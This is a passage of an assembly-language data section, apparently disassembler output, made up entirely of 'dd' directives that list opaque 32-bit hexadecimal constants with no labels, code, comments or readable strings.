		dd 0D716058h, 3853FD40h, 0DE3D35B3h, 54BA7E13h,	3C5BEDF2h
		dd 0A6EE99Ah, 2D580232h, 0F895533h, 102925Eh, 4BDAE9CAh
		dd 0B50598DDh, 28944819h, 41C7C217h, 8113A15Bh,	0B9CA203Ch
		dd 83492D02h, 5A37E97Bh, 1E70EC8Fh, 0D5668F5Bh,	0A50A392h
		dd 0A849FA07h, 394F68D3h, 42C92767h, 16D15225h,	0D1351542h
		dd 0E9024647h, 1CBB5304h, 5B81D978h, 2901C15Ah,	2431DDEAh
		dd 0D9935F2Bh, 3F10BB24h, 0CBB05B27h, 0D305B252h, 0D730F4B7h
		dd 0BE8DD81h, 0F9CE8C2Eh, 92F5801Ch, 13F07025h,	95153F8h
		dd 0F678DBF6h, 801CB207h, 14A27EF2h, 3BEBD5h, 0FAF181B0h
		dd 1F30D2Dh, 93A3CF4Dh,	20495908h, 266670A7h, 2FA1D47h
		dd 0BAF0669h, 804070FCh, 79399E38h, 0C0F773D1h,	84113E14h
		dd 964FE9B9h, 7880BD12h, 909D9CEDh, 1ED62716h, 682D79E5h
		dd 0EA5BFD47h, 4127B8EEh, 2EA0403Eh, 3F4D2108h,	37067664h
		dd 2965AA3Dh, 0A46CF811h, 54584F0Ch, 0D5BE9CFh,	0CC4A5254h
		dd 484C1D6Fh, 0D7A168C3h, 0EA42A917h, 40B5F4B3h, 0A5577219h
		dd 0C5263EF6h, 17684237h, 0E96158FCh, 783E601Ch, 3448894Bh
		dd 506D3A0h, 3C852610h,	0EC2CC009h, 0D3F68905h,	80430200h
		dd 0E2E6DACAh, 3BE76850h, 0CE95E910h, 0EEE4FF6Ch, 5E380369h
		dd 0F65CE325h, 235DBAFCh, 5713922Ch, 0CA847AB8h, 0B51D163Fh
		dd 276808CBh, 0BD21552Fh, 43DA6B24h, 0D85DCB61h, 7EEFF281h
		dd 2070982Bh, 547E49C3h, 5579F99Eh, 1EE94941h, 0F7091B3Ch
		dd 97004FDFh, 6F987E13h, 67E3C12Eh, 5B5FB902h, 0E0C0845Eh
		dd 582B41BCh, 129324C1h, 2CC3A1BAh, 0C9EF1615h,	0E6D862F1h
		dd 3BCEF2BFh, 80CC0ECh,	30ADEF6h, 0AD5CC6FCh, 0ACC2603h
		dd 0E31DA5A0h, 0ED8149F9h, 1A257145h, 8F721402h, 2DF14454h
		dd 0C3016B0Eh, 1720B611h, 0EEE9F029h, 6510B51Eh, 43485B68h
		dd 4E23D4D3h, 0D4FDFD12h, 2C2D1310h, 94014743h,	533A746Dh
		dd 2F010C28h, 0E91EEE32h, 0BBAD6430h, 79DA3Ch, 81D3F711h
		dd 30355EE3h, 0C60C62CAh, 0B17C330h, 0BAC0E6E9h, 97527A68h
		dd 4771A8E6h, 34C7C595h, 7821AE91h, 0A8ADF986h,	9D3EE99h
		dd 100A9F5h, 420A05D8h,	0C606DC12h, 9115B009h, 3FC56216h
		dd 0F4B2016Eh, 30275D2Fh, 0CCF30316h, 5A1D535Ch, 80FD4115h
		dd 215F675Eh, 0E659CD29h, 685D0BE8h, 1BF163ECh,	1502BBACh
		dd 5D437C38h, 0FCBD8800h, 900B9B59h, 9A1AF1E9h,	6F3498F7h
		dd 44AED5AFh, 4DF0A09Bh
		dd 0E92E3727h, 219729F2h, 31D8550Ch, 61F07231h,	0BE6808C6h
		dd 0B346540Dh, 0B68C1229h, 40B3D0F4h, 0DCF85626h, 57C10097h
		dd 3553A568h, 0E0A60513h, 97B628E9h, 6D048816h,	5E83F3B7h
		dd 50CFE077h, 0E92E1DB0h, 2CD227B8h, 0BF575501h, 4C433077h
		dd 0C22DFDE5h, 10449011h, 0BB364220h, 0BF007C9Dh, 6818330Bh
		dd 82E546E9h, 902AB7Dh,	25EF7689h, 0B9F62966h, 0D78D175Ah
		dd 4F7FCA39h, 1CCD8E41h, 0DD82EB31h, 0D64DBDE9h, 30DC493Ch
		dd 0CDD508h, 51EFCE81h,	0CC17227h, 3B6275D6h, 142DF000h
		dd 0AD87674Ah, 0ACEF1F00h, 13AE2DE9h, 0AA986494h, 79257A94h
		dd 0C95C45A2h, 0A35C0192h, 455E005Bh, 5CBA0152h, 0F73E8B09h
		dd 81DAC8D2h, 6C5BEA00h, 4CE9C708h, 603096E2h, 3A166876h
		dd 0C64D8F98h, 28015AB4h, 3CEA05F7h, 1F244C20h,	12DD337h
		dd 16EDCE6h, 6F026131h,	0A5875408h, 0B433090Fh,	0A8415AD6h
		dd 72AE107Ah, 4502DECBh, 29045732h, 6221486h, 78642EABh
		dd 8509844Bh, 806AD86Ch, 0B79E2920h, 756A9760h,	3C3497C1h
		dd 94DA42F2h, 1CF205Ch,	3E5B1DBBh, 0F0DA212Eh, 19B4E46Dh
		dd 5E648282h, 956A0947h, 0E90586FBh, 3EC4A29h, 8EE3D1C6h
		dd 0F23A8F12h, 0E29A7A0Bh, 0E2395599h, 6F8375ECh, 50683F67h
		dd 9B92D1E9h, 48D504Dh,	56117C01h, 583DA4C8h, 0AF840826h
		dd 72D6B948h, 7B273400h, 9EFBB59h, 1FB1786h, 387116CBh
		dd 0E92550EAh, 2CDA40F0h, 0B5682548h, 0B78C0F59h, 25E93728h
		dd 0B6E63EBCh, 0A5B1EC2Dh, 84B95B3Ah, 102DE9E0h, 598BE7BCh
		dd 69750F53h, 519C42BBh, 94C39211h, 0E93AC1FEh,	7ACE35F5h
		dd 69327B2Ch, 0E8301CA7h, 9BF1E68h, 4A177175h, 0E96C2F32h
		dd 20C86F2Fh, 0D82802CFh, 0D3B30553h, 0C103E3C0h, 9DEB8044h
		dd 0F343CB90h, 909604E5h, 4E74E9B5h, 50E6F649h,	0AB41BAFFh
		dd 6EFC392Fh, 68530960h, 5402142Fh, 73138864h, 8413A239h
		dd 0D199D4EFh, 0D19AEh,	652F7F62h, 7A003825h, 0D0F70F4Eh
		dd 1E0C148h, 64E70508h,	7F012FBAh, 0D1844867h, 7F9897C0h
		dd 7F7848C7h, 941EE402h, 1B604753h, 0C22618DEh,	74011760h
		dd 16AD537h, 0B852066Fh, 71EA92AAh, 660AA660h, 7F81B652h
		dd 69F32551h, 0C6033C52h, 5F5E0648h, 0D460E501h, 99CCF8E9h
		dd 97949C7h, 200BE98Bh,	0FD305989h, 1349066h, 0ED8009B3h
		dd 0D5DD2807h, 1677D6C5h, 0A92C270Dh, 5229576Eh, 68003151h
		dd 476038D5h, 3E30985Bh, 0C814ACF3h, 0D7008169h, 21030165h
		dd 0B575E9D3h, 2568D7C2h, 6692547Eh, 4F4BA97Ah,	0C12184C7h
		dd 0AB4006E7h, 93BF387h, 5FFD01C0h, 81BDB654h, 0E94F396Ch
		dd 0A9A6BC47h, 60330759h, 0E151B415h, 91642FAAh, 2913AEE9h
		dd 7FB6A95Ch, 6525A1BCh, 3E6727DDh, 42230212h, 0B3591466h
		dd 0F001DF94h, 2867EE80h, 38275DF3h, 0B2F2F3Dh,	4B02F35h
		dd 0F9133F39h, 614BDFB6h, 0C7F3C8FCh, 50279610h, 407168C2h
		dd 0D3898027h, 6F290BF4h, 68C12F5Ch, 5B935ADAh,	9BEF15Bh
		dd 0C12D5819h, 6D03EF2Ch, 0EC41BD10h, 8812D4FEh, 4A3B5B55h
		dd 0DC210C4h, 57C50CC7h, 189C88F2h, 10B16804h, 62C122ECh
		dd 207E7D27h, 3604792Bh, 0C5E9A42Dh, 801F01B8h,	0E5C0C1F5h
		dd 0E3CDFE08h, 638E7EBh, 5E82C02h, 60E17249h, 23A1E281h
		dd 9EC464D4h, 5B0C563Fh, 30247B4Ch, 0D81212E8h,	0E4585098h
		dd 897BBE11h, 0A671A4AEh, 44258A82h, 52F9492Ch,	4A924C30h
		dd 0CA064058h, 0F74D5A05h, 7020D15Fh, 287F0CBAh, 5AD95E98h
		dd 0DD51D84Bh, 0E93A989Dh, 4F2C4B72h, 1F501E15h, 4D57FA31h
		dd 0BEB8B340h, 0C059664Bh, 500D0A74h, 0E1048123h, 16B157D0h
		dd 0AF367A80h, 299C1690h, 0FBDCAC8h, 0A202A125h, 689CE91Bh
		dd 4B2D6836h, 0CC343153h, 0CEF46840h, 42E594E3h, 889027B8h
		dd 7B25A747h, 0B05000ABh, 0E9C0FE2Ah, 0E981214Ah, 0ECE04DB4h
		dd 206CF05h, 0DCF6CCE0h, 7740C480h, 0E3E05Dh, 5BDA3058h
		dd 79E9D028h, 51994D54h, 402AEC98h, 68C95218h, 0B293825Bh
		dd 0FABA84C4h, 0ACCA5213h, 415CF260h, 5BAD549Fh, 0B7B51C22h
		dd 0DD895D01h, 0CD101A21h, 0E601E480h, 3CE870ECh, 0EF8658E7h
		dd 7CF83039h, 180514Ch,	0EA884FB5h, 0A76CA3E9h,	218BC049h
		dd 0CC962BCCh, 1DE708h,	814FD7F7h, 9B1F1BEFh, 38898672h
		dd 0C755A6D0h, 413C41B8h, 3B677FA3h, 8305BF91h,	0C808231h
		dd 0FD883504h, 0C2F2601Bh, 5CC96094h, 6CD8496Eh, 72934F12h
		dd 0DC5150Dh, 58832264h, 0D3A8C3h, 30531153h, 2630E933h
		dd 0FC8894A3h, 57B1B55Bh, 0C886021Ch, 5DD2E9DEh, 0A99330D1h
		dd 5954C42Bh, 56D261EFh, 0ABD0451h, 0C965B61Eh,	86C45012h
		dd 0DB539197h, 66279068h, 10BEEF51h, 592A4FF2h,	0C7F59680h
		dd 7F6AFB21h, 0CAB18B96h, 811BFA25h, 0DDE056EDh, 369397B5h
		dd 65341213h, 7AB147B8h, 53C58717h, 0F8078BB7h,	0E9735B66h
		dd 0E9A15B6Ch, 0E8162A69h, 0DF091DF2h, 7AE38247h, 3BCF4D90h
		dd 21F1294Fh, 15E0800h,	505D0BEEh, 7629BFE9h, 0E961937Bh
		dd 3139CA01h, 0E4B6B213h, 127042F6h, 0E1010690h, 69E7640Bh
		dd 4031D9F7h, 4F705F2Fh, 30D30868h, 1DBD5555h, 29B00E00h
		dd 58D7CD81h, 614B4C90h, 85A4A524h, 0F65EF701h,	0E9257973h
		dd 0F9ACC23Ch, 0A792BD8Bh, 0C6D2D02Bh, 6D58712Ah, 115C04B3h
		dd 7E836C18h, 97315A48h, 0A1DC92EBh, 6846AF5Ch,	0D373800Ch
		dd 6F259409h, 1121D42Bh, 827F83ADh, 0D5840FDEh,	0E91B68E8h
		dd 51C36241h, 40415FF9h, 7C2F794Eh, 0DE8707C7h,	0D2F7D321h
		dd 811008B0h, 0A5057EEEh, 0F289C334h, 5F319D98h, 0DD7DD8D0h
		dd 8D2B1641h, 9562A71h,	0F8267E4Bh, 0A1664980h,	99C301E4h
		dd 20332F15h, 0DCB950Fh, 98870901h, 5BE53021h, 2E61658h
		dd 0F3882B4Ah, 0D9C14A93h, 59CFEC5Bh, 1E70ADB0h, 75B0FD4Ch
		dd 586B2878h, 5F3E2052h, 7A304A89h, 0D5532D59h,	0A995A56Bh
		dd 0AD5D7CB0h, 35B74BECh, 834E8B41h, 0BCF08A12h, 65EFDCC6h
		dd 0E8FBB5E2h, 0F4A4E400h, 0B3050258h, 576BEE78h, 56BABD6h
		dd 71AE4DACh, 0CBF768CAh, 0C3858732h, 0D90641ACh, 50FC0165h
		dd 49DC9E40h, 1FAA5C00h, 0BD005A37h, 0F1A7650Fh, 0BF09D7E9h
		dd 0C0854DA0h, 0FE2F05E1h, 0F14CE0C1h, 1EBE654h, 66CB2852h
		dd 3A4D5E68h, 0FCF20789h, 0FD58129Eh, 0E9E86102h, 103629F7h
		dd 84F79h, 211FBF2Eh, 0D1126951h, 0D6A847E7h, 4A311275h
		dd 0F8BAA4D3h, 0B7F2AE28h, 386E0302h, 42FE0176h, 5F080458h
		dd 0ECA962EBh, 56D78977h, 4F794B4Ch, 36CFBDC0h,	3E22485Eh
		dd 216D43Ah, 14301860h,	40954B5Dh, 0F6257EB0h, 0E9E00DD1h
		dd 2E5D6163h, 0F51255CBh, 4A8FBC9Fh, 0BA261AF6h, 4F84C06Ah
		dd 0FB943CD2h, 5A5C08A0h, 5F640511h, 41A80DE4h,	0F078F809h
		dd 1536BA03h, 0C7EB4303h, 0DA102811h, 1E8FD0F6h, 65EE6850h
		dd 802004FBh, 30A46DB7h, 0AEE95C0Dh, 0BCF3CD4Bh, 86DE4079h
		dd 70F6EEA1h, 79FB9B65h, 235E776Dh, 1BE63813h, 0D2B6B9D0h
		dd 0CE0FF100h, 0E2C14236h, 0F2810E07h, 67A9F904h, 0E9D6AD00h
		dd 58815B44h, 2E1853Ch,	0D2F139D5h, 91D39FA8h, 0A762C047h
		dd 19F82299h, 487D7416h, 0E85803A6h, 7BF1AECDh,	0B2A46445h
		dd 0C2FED709h, 75218366h, 580C0608h, 603E2C0h, 70F480F2h
		dd 5AD48807h, 0F483E4D0h, 60E1C2A4h, 80E79136h,	98A0EF89h
		dd 8AA82865h, 23171FE2h
		dd 0F000548Dh, 4FB93E42h, 0B480BF57h, 0BF50012Dh, 63295806h
		dd 0B740315Ch, 6EC46BC8h, 0EE9718B5h, 0AFEDB1B7h, 0EBFCAC09h
		dd 4E0BDC7Ah, 0CE47080Ch, 0F0215902h, 5C262EE9h, 50286F13h
		dd 0F3060225h, 0C810D760h, 18DACF87h, 5DEDC808h, 60F50281h
		dd 314BBF6Bh, 14BF3858h, 69369CA3h, 109F4301h, 0F8E6925Ah
		dd 92C2F80Bh, 9ADDC1D7h, 363C20D5h, 0D449C00h, 9FC1E937h
		dd 44EFF5C9h, 8414972Dh, 2FE9CB44h, 0DCEEED38h,	0D332597h
		dd 11D84B8h, 0E65ACBC6h, 0C8311122h, 59432082h,	5B2CF9DBh
		dd 9330140Bh, 1E8474F8h, 341620BFh, 52F909CEh, 0F4B07D53h
		dd 13B84D25h, 3DFF73Fh,	0F6369171h, 4F0B2876h, 810E6A6Dh
		dd 901AB3Ah, 26CE8B40h,	467F0438h, 0D1331AE9h, 6F6422EAh
		dd 6ABC2CCCh, 0CD7674Ah, 0D3CAAE0Bh, 869C9CCBh,	7129D50h
		dd 2D757AB8h, 0F027A430h, 0A0FBF13h, 49141B63h,	0D5D2A1Fh
		dd 8C07C42Dh, 20FFB8E3h, 7AEA0848h, 0EE805BC0h,	76F730C3h
		dd 0F2F4E65Ah, 0E9AB19EFh, 0D9535549h, 82172FA2h, 256890D8h
		dd 565112A9h, 815D648Eh, 4C87E97Fh, 270F258Bh, 18A77A71h
		dd 0F6E8832Eh, 2D46BB87h, 0C6640CF2h, 0D1A1027Ah, 4F058F7Bh
		dd 1704FCA2h, 85252E78h, 0CA26C173h, 0E49D3E4Fh, 0CDA0BDEFh
		dd 0FC3BAC8Fh, 2D9C5DEFh, 8F5A854Dh, 543767C8h,	25EF2B93h
		dd 66F03132h, 6F29C25Bh, 0FA72816Ah, 0DFD53464h, 0A6BE19C0h
		dd 905A6346h, 8513F18h,	40BBE473h, 7A1EB516h, 12C93EB2h
		dd 61AD560Eh, 5A7F6268h, 93E90BABh, 0C92AAE11h,	518AE222h
		dd 0F4544B9Eh, 664EB462h, 88DB91B2h, 0A72CEBD0h, 5B845F45h
		dd 0F6012412h, 0D24009EFh, 0F1C701F8h, 850888CAh, 61215E5Ah
		dd 9D58C729h, 0C1EFE9D3h, 2B312189h, 6885437Fh,	0D52769F1h
		dd 74B40945h, 0E0F25379h, 30137656h, 0BB1054ECh, 0B3530F12h
		dd 44BD053Dh, 5F2FE4E3h, 0E918D5ECh, 0B45E9BF2h, 0E32816C1h
		dd 787BBD58h, 163EA1B8h, 0E92C775Ah, 2D803998h,	3BF1E13h
		dd 186A2C05h, 5A25033Ch, 0E9894B46h, 290C6AD4h,	49076280h
		dd 1F10FA8Ah, 91F54046h, 0C2F3AE4Eh, 0E4C55527h, 1A8DE904h
		dd 6CB86802h, 69979779h, 0D801A987h, 8542612Ch,	0C000094Dh
		dd 2FD2460h, 57895D1Dh,	471E34A4h, 10B67180h, 98D23192h
		dd 4905598Bh, 99738F41h, 3628277Dh, 0EB05CC72h,	63967A84h
		dd 0A0724BB8h, 9570E908h, 2F0C1044h, 226EE516h,	5F7F98D5h
		dd 832D0291h, 0A55C04EDh, 947BD266h, 8560A503h,	0C01989C7h
		dd 0AB0C06E7h, 0BB020402h, 2DD46028h, 5641820Fh, 0A6CFF401h
		dd 3E4BFFF6h, 76EC6FDDh, 74459FD5h, 0DC8B752Eh,	1EEFD2D9h
		dd 8D92B450h, 60F757CDh, 515987EEh, 96208AE0h, 2526499h
		dd 0F188A141h, 509CED05h, 212E488Bh, 0C701AF08h, 0B099C573h
		dd 76078743h, 64FC78A5h, 0A2CD5AEAh, 0F7218F4Dh, 0CBDD87ECh
		dd 8A14D794h, 8795FAF6h, 0B3644F8Eh, 8AB247D7h,	210F519Ah
		dd 23E28B24h, 3796317Eh, 0D5DC8A3h, 77E95F81h, 18C86B2Fh
		dd 5DC77AFEh, 66163C62h, 0BD35881h, 0A5B0ECE8h,	1C428FB4h
		dd 4F4DFE9Ch, 0DC5AEB0Bh, 4CBD64Ch, 0BC5572E0h,	0DB5659C2h
		dd 70150C53h, 679AA4E3h, 127B315Ch, 0F3A4C663h,	753C059Dh
		dd 804F4773h, 676DAE02h, 5DC634Ch, 3A4E2C0Fh, 441FB501h
		dd 0F1D56048h, 2E99182Eh, 0BD126F58h, 3E1C29C6h, 684BF9EDh
		dd 230A00DFh, 0F7294871h, 802EDA2h, 6CE9CBE9h, 0A2F3A758h
		dd 0F1BC06ECh, 0C416B4FAh, 0AC6A8517h, 16099E92h, 6D295119h
		dd 9D017E08h, 53F40C70h, 0A2F62420h, 75D94107h,	0BD55F050h
		dd 712712DCh, 0D890046Eh, 0EBB9808Eh, 0F4656FE9h, 25AFE071h
		dd 6686A0CAh, 0D956817h, 0CBF31EC8h, 124934BAh,	93107C99h
		dd 40CD6AF0h, 0C30C0555h, 0D4578C6Dh, 324299D8h, 0D306E496h
		dd 6462B0F4h, 0BB5C4945h, 4F5C023Dh, 600D417Ch,	6D74D4Dh
		dd 5A8928F8h, 0BD075558h, 67E04550h, 87E089A5h,	435B03BBh
		dd 5FB9352Dh, 5EB80B7Fh, 200CE69Dh, 510F41E5h, 245E5956h
		dd 7FD9B555h, 9D0EC4EAh, 88CE328Bh, 28F5527Bh, 4EBE0714h
		dd 81A0A46Ch, 28916BEEh, 5B8AF9A9h, 92FAF253h, 9667688h
		dd 5453F1F7h, 0F1359F6h, 9DEDD2B4h, 787C916Ah, 0BFD66850h
		dd 5DF0E848h, 0E5575380h, 24591EF4h, 80D4796h, 738CBCCh
		dd 0CA2058E1h, 87F280E1h, 0C69442FAh, 7C5A094Ah, 468D47F9h
		dd 0B68F0B3h, 7A24347Bh, 2C3FD45Eh, 99AD9F8Fh, 0A2315B27h
		dd 9D0F8EF8h, 0D832D767h, 3FB178F5h, 0CDCABB68h, 12477EE5h
		dd 8D45C01h, 2DE9CEE4h,	0A726A1D8h, 1A9697F7h, 0F25E6Bh
		dd 544E363Dh, 0C912C7BEh, 0AE4ABB1h, 1A3509EFh,	0D8253392h
		dd 5E080BC7h, 0AB163790h, 95572980h, 0D7689548h, 2CE92A40h
		dd 0C6B428A7h, 5424313Ah, 6B127A5Eh, 4833D5E0h,	0F2E56304h
		dd 545582BAh, 0F028FE5Dh, 0AA54C2E9h, 344B5898h, 9490D28Ch
		dd 82521FA8h, 29A56B5Eh, 0B4879182h, 0F1731A56h, 4F88C6F3h
		dd 0F43A6CA5h, 181F6D62h, 0AD5904E8h, 0B64898D8h, 0F680130Eh
		dd 303BE178h, 2980A071h, 2F5D73EBh, 6CD051C3h, 5BF60D2Eh
		dd 9F53F913h, 24DF93F3h, 9FC5AB1h, 0D1ADE965h, 0F878294Eh
		dd 0DB940E9Ch, 0C8B70FE0h, 265D2B68h, 97A039D7h, 78E0B817h
		dd 0D00165FCh, 0AC068A2Dh, 1D6EE419h, 66CF32D8h, 0AA3048FFh
		dd 1E89962Ah, 5722EA80h, 880F47F8h, 0B9E525D4h,	452C1089h
		dd 0D2685A1Dh, 2621E334h, 80A8818Eh, 29F2602Dh,	4E0C042Eh
		dd 7F01C6A0h, 9A4934FDh, 4F58C071h, 727CD934h, 9F419831h
		dd 0FD305FFAh, 7CA0CC2h, 430C3F1Eh, 8654F0Fh, 0F4109701h
		dd 140C6808h, 0E29EF528h, 405A2424h, 0C4CAF56h,	0F0891017h
		dd 0E2E5E923h, 86555902h, 32F58F9h, 0DC7EFBF6h,	0BEE14E20h
		dd 786E63C9h, 3E86A055h, 0C90241Eh, 9A5D9350h, 0F25E52D7h
		dd 92CF1A40h, 0E3882DA8h, 0F362A2E2h, 893B6078h, 42FDA7D3h
		dd 963F6A28h, 12AA991Dh, 0F4CAE85Dh, 4102B2C8h,	7168434Dh
		dd 87BE76C1h, 68B42D5Ah, 0E3A45C97h, 7F5D0892h,	7DAC7E20h
		dd 8D980215h, 0F2512E60h, 17D0215Eh, 0D077FF5Ah, 0F63BE9EAh
		dd 0D155B39Dh, 0C18FF7C0h, 4EB858C6h, 1146692h,	65072DF0h
		dd 0EAEC5E43h, 8241F9D3h, 466B1168h, 5E8F636Fh,	0F10155AEh
		dd 1A076EC5h, 4D6C2913h, 1CA70841h, 785A07E9h, 0EC574ACFh
		dd 40766AC8h, 0FB770195h, 86B8D52Ch, 97265AC4h,	0BA5D32C8h
		dd 0F40B58B4h, 9F4FA4D4h, 8AEC58DDh, 0A7129545h, 0C7188EDBh
		dd 25840F29h, 8DC4EFF0h, 2D055658h, 35087B59h, 0E4A48736h
		dd 5EF344EDh, 81DB05EAh, 0DB30BBEBh, 246E647Ch,	8C425Fh
		dd 17A45D51h, 0D279F74Ah, 0DC4FF200h, 0D3319EEEh, 0AA945Ah
		dd 0E9CF6AEDh, 0FEBC2E73h, 330611D2h, 2625C52Dh, 0CB075CC6h
		dd 154EA45h, 0A050D18Bh, 0BE92C0Ch, 942AC8Eh, 49F60926h
		dd 0B20F0F46h, 0D75FFE92h, 0F7218CD7h, 4D7EDE5Ch, 0C3745F0Bh
		dd 24AE5ACh, 5829680Ch,	3F2A906Ch, 772ACE16h, 0F9829894h
		dd 5A97BA77h, 0B9B825AFh, 7BFE310h, 8CA650Fh, 27A59651h
		dd 0CD30A271h, 23420A0Ah, 1CC8833Ah, 1CA3E4C1h,	0BA07E025h
		dd 27E01037h, 18AC0EA3h, 24E8C158h, 758223CBh, 8103FCA0h
		dd 121D3AE7h, 89BC28DCh, 14C454Fh, 0A0A1C76Eh, 9F3188E8h
		dd 2AAFD2C1h, 680B76F3h, 0B6441C84h, 0DFFC1A95h, 0F77A8EABh
		dd 0BEAB0497h, 385F7FB8h
		dd 4173687Bh, 4317EE91h, 0B397CEE9h, 2BB8D3BCh,	107EB2A4h
		dd 0AC01DE9Ch, 0E368622Ch, 1D618951h, 326471D7h, 125D972Ah
		dd 0FA5F25Ah, 57B476D6h, 2B60836h, 0E3985693h, 0C17B4BE9h
		dd 6BF76699h, 939B845Eh, 53AEF4EDh, 7FD78AE2h, 1A22F109h
		dd 5C57E00Dh, 7325B4F3h, 0BC7DE39Ah, 69B39091h,	0E847740h
		dd 0AB9894B9h, 4A1B780h, 0A0E3A0ACh, 782881CAh,	0B5D62ECAh
		dd 795862A7h, 0DBE941CBh, 0F4607FADh, 275FF889h, 9F4AB850h
		dd 0E908C3A1h, 0BA7E2470h, 60745817h, 8BAC6180h, 1A00E9Fh
		dd 0F016E9D6h, 3E03B7B4h, 0F828AA04h, 0ACB4A52Ch, 7A4D2468h
		dd 8B76A10h, 411CAF56h,	0F025465h, 44F39E29h, 0A4CA09BCh
		dd 0ED585F70h, 3968C26Dh, 2620EC1Dh, 0CFC2D076h, 0A43FDF25h
		dd 7EBCF219h, 0C9201720h, 0A2584FACh, 0DB81D209h, 0C93ED8E8h
		dd 9560FADDh, 1D2542CEh, 0A083764Ch, 63E19808h,	0ABB56F1Ch
		dd 0E0D8A5C2h, 64482950h, 0CDE7F15Bh, 5259CA0Bh, 21121C16h
		dd 8B8F1C57h, 0AF89585Dh, 31AD67A1h, 87857BD8h,	0F781ACFDh
		dd 2BA595E9h, 3FB8D795h, 0F7DF538h, 5BDF09A0h, 6F8B4C3Fh
		dd 535BE992h, 0BBBF6CC0h, 909A775Ah, 25C608D6h,	0B011A9Dh
		dd 47337A22h, 178CCFF4h, 85D9A41h, 0AD1DB7D6h, 53ACE08Bh
		dd 370276Fh, 75044A97h,	49509489h, 2F327338h, 240FE421h
		dd 0C9850CB6h, 9C65965Dh, 12E80B7Ah, 0F088D671h, 93CA8861h
		dd 0C02BA24h, 5D7C787Fh, 5859B0A0h, 6C5F9868h, 0F8C070D8h
		dd 1B4B48B9h, 6F51112Fh, 5C630264h, 0B151C380h,	0F1803100h
		dd 0C0D1F671h, 7E0778E9h, 0C5FE73C1h, 0FC28621Ah, 810C2787h
		dd 2576831h, 0A3CB592Ch, 564AE950h, 48498A25h, 0B0A07A53h
		dd 0C1212FA6h, 53442B71h, 0C18C2ACBh, 1B55689Ch, 6494DDF3h
		dd 0E5078169h, 15D57975h, 13E1B5B3h, 0A2C13016h, 92E9CFD2h
		dd 84B6FA52h, 0ABE38319h, 25BADDE7h, 53996ECDh,	0F101997Ah
		dd 82A76258h, 800F8FE9h, 36633C16h, 0F8894113h,	1CC3310Dh
		dd 0D030D825h, 333520h,	56D360Fh, 3E2F2DBh, 0E9C5890Bh
		dd 4855278h, 0CDDE8FF3h, 0D687AB64h, 9F92E5E4h,	4C11E45Ah
		dd 0F65AAFD2h, 0B9A28C35h, 32549231h, 53A71F58h, 0F20F3FD0h
		dd 0AA488C5Eh, 692E0635h, 0FCC26809h, 423368DCh, 0F07C2DE9h
		dd 5BDE2902h, 0A1805701h, 45482BB5h, 5EE92DC2h,	813F4615h
		dd 5A6DEDD3h, 0E62591D0h, 68C1FD76h, 0C16272C7h, 0D225F993h
		dd 536331BAh, 0F4CFED57h, 5528E9FBh, 0B7057409h, 0BEB65290h
		dd 81F12AEh, 0C101A56Fh, 0DFF708E7h, 0B6986120h, 0CF602E95h
		dd 0C8202B68h, 0EF1E700Bh, 6A7FC01h, 180F1C20h,	6848D704h
		dd 74B0313Ch, 25BF4006h, 0F5045F0Bh, 0FBC8042Dh, 167F0500h
		dd 13E0D56h, 9207D1C8h,	700950F9h, 87FEF445h, 2F0B74BAh
		dd 0BAB52F64h, 3D037D48h, 3053C2Dh, 0BBCE715Ch,	3CBF00D9h
		dd 2B4E0B55h, 7D65F801h, 6A110501h, 55224CA1h, 46B710h
		dd 0FB3A50B8h, 92DBD56h, 298A608Eh, 234ED8D0h, 82375B85h
		dd 0B8AEC6A2h, 0C526C3E0h, 8A1DD4A7h, 0F4E94A05h, 0DBE95AF1h
		dd 2F5E8D3Bh, 0E63768BCh, 56512568h, 94005FECh,	0BD6CA37Ch
		dd 0B5C8370h, 5AD50193h, 180BB05Eh, 0F339A7C3h,	0E17780A7h
		dd 0B450406Fh, 7BE4C037h, 47C40508h, 0CFD9B2E9h, 6EC17981h
		dd 29877023h, 7404B38h,	0F4615FE9h, 6613BE77h, 0AFE02E43h
		dd 9CA35Eh, 2B2AABA4h, 5EAC149h, 48685607h, 5E459C77h
		dd 5D15F7C0h, 0E02F5A35h, 0BF05576Eh, 23C0583Ah, 35246BAh
		dd 0EA5BC9ADh, 4BAA99E0h, 6FF7E0C0h, 0BC607441h, 0C077A990h
		dd 0F49C1A71h, 2E24269Fh, 0DBB1507Fh, 3E1C016h,	706050Dh
		dd 2C28FBD5h, 57ABB800h, 9B0D1F5Dh, 17AC4926h, 9A391700h
		dd 4BC32D62h, 543F8148h, 8F32A08Fh, 571EF11Fh, 2A15E16h
		dd 6F409540h, 0F51B4CEFh, 4057897Bh, 3A15B49Ah,	0F0BF7D1Fh
		dd 5ED4DC4Bh, 0FB833904h, 0E9D8215Fh, 0AB74E2F2h, 650C7988h
		dd 8420E458h, 0EC57E140h, 8A464B1Dh, 3CC6406Ah,	34E6540Ah
		dd 4612DD4Ah, 41E56398h, 0B3C22A91h, 27BA5E21h,	63A4FFEFh
		dd 0E04FF610h, 954AA169h, 61D8C140h, 0BD585A7Fh, 0CE9596C6h
		dd 665C13CBh, 22C39221h, 51D4486Ah, 4E09111Fh, 19FD82Dh
		dd 2FAE45C7h, 0C8DD8955h, 2CFB5DE9h, 739571D1h,	850210A9h
		dd 0D1E25DEFh, 4955769Ah, 0C4343D28h, 0EAC1905Bh, 7EC4BAB2h
		dd 0EF324D5h, 0FFBD45C8h, 281E140h, 95B124Bh, 6D436851h
		dd 8A63FA7Eh, 607BE250h, 0C3C5901Ch, 7EEA804Eh,	3C3D4AC1h
		dd 0E834E7E9h, 41E949C0h, 0BC91D3F3h, 0A51E2764h, 6C06C440h
		dd 72AEF030h, 89FF8216h, 2667EBDh, 0D7F7FB87h, 0DF932343h
		dd 3583084Ch, 0D2EB2AC4h, 28F462F9h, 0AC0CFD02h, 83B18F64h
		dd 4E077F5Eh, 5D498048h, 674F91CFh, 0BF54FAB4h,	2C301819h
		dd 79B75A63h, 3C130F59h, 0A05BD0DCh, 4258B001h,	500648DFh
		dd 0B860FCB5h, 7D6AEED9h, 0C3360E2h, 6F363713h,	6949E897h
		dd 4CA3F4ECh, 4D2D2D89h, 0C9E56600h, 413B7B36h,	53014AC1h
		dd 68D0143h, 8058852Ah,	1F3D0521h, 0D60AF328h, 8E54B95Ah
		dd 2FF45873h, 0EB686860h, 0FF141817h, 2C380C20h, 0D390DB73h
		dd 4397F784h, 0E9560D98h, 0FCBCFEFAh, 0F45009B0h, 0A601F681h
		dd 0E921035Dh, 58841B44h, 0F8514168h, 718CC1F4h, 0B6924415h
		dd 74D24008h, 53E9EA8Eh, 0CE2C37DDh, 2821E808h,	0BC3525B3h
